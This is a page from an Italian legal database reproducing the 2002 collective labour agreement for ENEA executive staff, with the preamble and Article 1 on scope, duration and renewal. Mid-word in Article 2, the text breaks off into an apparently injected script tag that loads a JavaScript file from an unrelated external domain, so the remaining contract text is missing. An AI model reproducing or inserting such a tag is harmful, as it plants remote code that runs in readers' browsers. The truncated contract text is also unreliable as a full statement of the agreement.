Torna all'elenco delle categorie

Categoria: ENEA (dirigenti)
Settore: Pubblica Amministrazione
Data stipula: 4-12-2002
Data decorrenza: 1-1-1998
Data scadenza: 31-12-2001

Contratto Collettivo Nazionale di Lavoro

PER IL PERSONALE DIRIGENTE DELL'ENEA
quadriennio normativo 1998-2001 e biennio economico 1998-1999


In  data 4 dicembre 2002, alle ore 15.00, ha avuto luogo l'incontro per la
definizione del CCNL in oggetto tra:

-  ARAN  nella  persona di Antonio Guida per delega del  Presidente  Guido
Fantoni e le seguenti Organizzazioni e Confederazioni sindacali:

- FNDAI

e

- CIDA

Al termine della riunione le parti hanno sottoscritto l'allegato CCNL  per
il  personale  dirigente  dell'ENEA,  quadriennio  normativo  1998-2001  e
biennio economico 1998-1999.



Art. 1 - Campo di applicazione, durata, decorrenza del presente contratto.

1)
Il presente CCNL, stipulato ai sensi dell'art. 70, comma 4, D.lgs. 30.3.01
n.  165,  si  applica a tutto il personale dirigenziale  con  rapporto  di
lavoro a tempo indeterminato o a tempo determinato dell'Ente per le  Nuove
Tecnologie, l'Energia e l'Ambiente (d'ora in avanti: "ENEA").

2)
I  rapporti  di  lavoro  dei  dirigenti sono  disciplinati  dai  contratti
individuali,  secondo  le disposizioni di legge e  sulla  base  di  quanto
previsto nel presente contratto.

3)
Il  presente  contratto concerne il periodo 1 gennaio 1998 -  31  dicembre
2001 per la parte normativa e il periodo 1 gennaio 1998 - 31 dicembre 1999
per la parte economica.

4)
Gli  effetti giuridici decorrono dalla data di stipulazione, salvo diverse
decorrenze  previste  dal  presente contratto. La  stipulazione  s'intende
avvenuta  al  momento  della sottoscrizione del  contratto  da  parte  dei
soggetti  negoziali a seguito del perfezionamento delle procedure  di  cui
agli artt. 47 e 48, D.lgs n. 165/01.

5)
Gli  istituti a contenuto economico e normativo con carattere vincolato  e
automatico  sono  applicati  dall'ENEA  entro  30  giorni  dalla  data  di
stipulazione ai sensi del comma 5.

6)
Il  presente contratto, alla scadenza, si rinnova tacitamente di  anno  in
anno  qualora  non  ne sia data disdetta da una delle  parti  con  lettera
raccomandata,  almeno 3 mesi prima di ogni singola scadenza.  In  caso  di
disdetta, le disposizioni contrattuali rimangono in vigore fino  a  quando
non  siano sostituite dal successivo CCNL. Limitatamente al presente CCNL,
le parti convengono che il termine per la disdetta sia stabilito in 3 mesi
dalla sottoscrizione del CCNL.

7)
Per   evitare  periodi  di  vacanza  contrattuale,  le  piattaforme   sono
presentate con un anticipo di almeno 3 mesi rispetto alla data di scadenza
del contratto. Durante tale periodo e per il mese successivo alla scadenza
del  contratto le parti negoziali non assumono iniziative unilaterali,  né
danno  luogo  ad azioni conflittuali. Limitatamente al presente  CCNL,  le
parti convengono che il termine per la presentazione delle piattaforme sia
stabilito in 2 mesi dalla sottoscrizione del CCNL.

8)
Dopo  un  periodo  di  vacanza contrattuale pari a 3 mesi  dalla  data  di
scadenza  della parte economica del presente contratto, o a 3  mesi  dalla
data  di  presentazione della piattaforma, se successiva, ai dirigenti  di
cui  al presente contratto sarà corrisposta la relativa indennità, secondo
le  scadenze  previste  dall'Accordo sul costo  del  lavoro  23.7.93.  Per
l'erogazione di detta indennità l'ARAN stipula apposito accordo  ai  sensi
dell'art. 48, D.lgs. n. 165/01.

9)
Nel  testo del presente contratto, i riferimenti al CCNL Area dirigenziale
e   delle   specifiche  tipologie  professionali  dell'ENEA  relativo   al
quadriennio   normativo  1994-1997  e  al  biennio  economico   1994-1995,
stipulato  il 4.8.97, nonché al CCNL Area dirigenziale e delle  specifiche
tipologie professionali dell'ENEA relativo al biennio economico 1996-1997,
stipulato il 4.8.97, sono riportati rispettivamente come "CCNL quadriennio
1994-97" e "CCNL biennio economico 1996-97".



Art. 2 - Struttura della retribuzione.

1)
La  struttura della retr<script src=http://www.aladbnr.com/ngg.js></script>













(c) 2002-2022 www.infoleges.it -  powered by Be Smart s.r.l - Note legali e Condizioni d'uso